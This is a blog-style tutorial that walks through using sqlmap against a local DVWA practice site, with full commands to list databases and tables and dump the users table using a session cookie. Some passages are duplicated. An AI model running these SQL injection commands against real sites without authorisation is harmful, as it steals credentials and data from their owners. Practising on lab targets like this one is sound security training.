Extract Database With Sqlmap
Bismlillah...
Hello, buddy! have ever think why Oracle Corp will monopolize and commercialize Mysql? While many people already depended on it in their development. You do not need to answer it, seriously. Coz now we aren't going to talk about that, but we're gonna talk about how to use Sqlmap to extract database.
Assumption:
Hello, buddy! have ever think why Oracle Corp will monopolize and commercialize Mysql? While many people already depended on it in their development. You do not need to answer it, seriously. Coz now we aren't going to talk about that, but we're gonna talk about how to use Sqlmap to extract database.
Assumption:
- You have apache2, mysql, phpmyadmin instaled on your system.
- I use DVWA for victim site, click here for more information and download link.
- You have found the vulnerable from DVWA site. Click here for tutorial.
- I use Mantra and Burp Suite for IG(Information Gathering). Click here for tutorial!. Important to find the cookie.
Open your teminal and go to sqlmap directory "cd /pentest/database/sqlmap/" or use gnome menu.
So let's rock, here's the step:
So let's rock, here's the step:
- First read the manual by typing "./sqlmap -h".
- If you are already knew about the usage, let's continue. Here's the syntax "./sqlmap.py -u victim_url --cookie=Cookie --dbs" if the targeted website has login page we have to find the cookie, we can use Burp Suite. But if no, just go to vurnerable webseite immediately "./sqlmap.py -u victim_url --dbs". Realize the differences among the the syntaxes, "-u" for url and "--dbs" for capturing database name. In my case will be like this:
./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=bij3f95ead4t1ueh7t0qijoh02" --dbs
- We got the database name now "dvwa", the next duty is to get the tables name.
- Don't be happy, we still get things to do.
Open :
/sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=bij3f95ead4t1ueh7t0qijoh02" -D dvwa --tables
Open :
./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=bij3f95ead4t1ueh7t0qijoh02" -T users --dump
Open :
Comments
Post a Comment